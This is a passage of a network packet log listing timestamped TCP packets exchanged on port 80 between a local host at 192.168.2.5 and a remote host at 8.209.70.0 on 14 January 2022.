Jan 14, 2022 21:05:42.067210913 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067250967 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067260981 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067291975 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067332983 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067368984 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067398071 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067409039 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067409992 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067447901 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067486048 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067524910 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067539930 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067564011 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067573071 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067604065 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067645073 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067682028 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067702055 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067722082 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067734003 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067763090 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067801952 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067841053 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067857027 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067879915 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067888975 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067922115 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067961931 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068000078 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068031073 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068041086 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068067074 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068083048 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068123102 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068161011 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068178892 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068201065 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068207979 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068242073 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068281889 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068320036 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068336010 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068358898 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068368912 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068401098 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068438053 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068468094 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068478107 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068517923 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068557978 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068584919 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068598032 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068598986 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068638086 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068677902 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068717003 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068731070 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068769932 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068784952 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068809986 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068849087 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068886042 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068901062 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.068927050 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.068937063 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086164951 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086220026 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086260080 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086262941 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086302996 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086318016 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086344004 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086384058 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086421967 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086437941 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086462975 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086469889 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086503029 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086548090 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086587906 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086627007 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086627960 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086663961 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086666107 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086707115 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086745024 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086761951 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086786985 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086790085 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086827040 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086868048 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086909056 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086924076 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086949110 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.086956024 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.086988926 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087030888 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087069988 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087088108 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087110996 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087137938 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087150097 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087191105 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087232113 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087248087 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087270975 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087289095 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087312937 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087352991 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087389946 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087404013 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087430000 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087436914 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087470055 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087510109 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087549925 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087563992 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087587118 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087606907 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087629080 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087668896 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087706089 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087722063 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087745905 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087753057 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087785006 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087825060 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087865114 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087882042 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087904930 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087909937 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.087944984 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.087984085 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088022947 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088038921 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088063002 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088071108 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088102102 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088141918 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088182926 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088196993 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088222027 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088228941 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088263035 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088301897 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088340044 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088355064 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088380098 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088387966 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088419914 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088459015 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088499069 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088512897 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088536978 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088551998 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088578939 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088619947 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088656902 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088681936 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088696957 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088700056 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088736057 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088777065 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088820934 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088829041 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088859081 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088890076 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.088898897 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088938951 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088977098 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.088992119 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.089020014 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089020967 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.089059114 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089098930 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089138985 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089153051 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.089176893 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089191914 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.089219093 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089260101 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089297056 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089312077 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.089335918 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089344978 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.089375973 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089415073 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089454889 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089469910 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.089494944 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.089500904 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.089535952 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.091846943 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.101557016 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.106712103 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.106759071 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.106797934 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.106837988 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.106863976 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.106878996 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.106883049 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.106918097 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.106956959 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.106996059 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107023001 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107038021 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107042074 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107079029 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107116938 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107142925 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107155085 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107194901 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107233047 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107239008 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107271910 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107304096 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107311964 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107352972 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107361078 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107393980 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107431889 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107471943 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107487917 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107512951 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107542038 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107551098 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107592106 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107626915 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107630968 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107671976 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107686043 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107712030 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107750893 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107789040 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107805014 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107829094 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107858896 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107901096 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107939959 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.107976913 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.107979059 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108021021 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108036041 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108059883 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108099937 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108108997 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108139038 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108154058 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108180046 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108221054 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108258963 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108277082 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108298063 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108299971 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108336926 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108376026 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108414888 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108438015 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108453035 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108480930 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108494043 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108534098 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108541012 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108572006 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108612061 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108629942 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108664036 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108701944 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108736038 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108741045 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108781099 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108792067 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108822107 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108863115 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108876944 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.108901024 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108942032 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.108980894 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109010935 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109020948 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109021902 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109061956 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109097958 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109124899 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109138966 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109179020 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109215975 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109232903 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109255075 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109260082 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109294891 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109333992 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109373093 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109386921 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109411955 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109430075 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109452009 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109492064 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109529972 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109532118 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109572887 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109599113 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109612942 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109652042 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109690905 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109709024 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109730005 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109738111 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109770060 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109826088 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109843016 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109894037 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109931946 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.109946966 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.109976053 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110017061 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110054016 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110114098 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.110135078 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.110135078 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110199928 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110238075 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110256910 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.110276937 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110316992 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110332012 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.110358953 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110399961 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110415936 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.110439062 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110481024 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.110510111 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.118566990 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.127726078 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.127782106 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.127824068 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.127837896 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.127861023 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.127901077 CET	49870	80	192.168.2.5	8.209.70.0
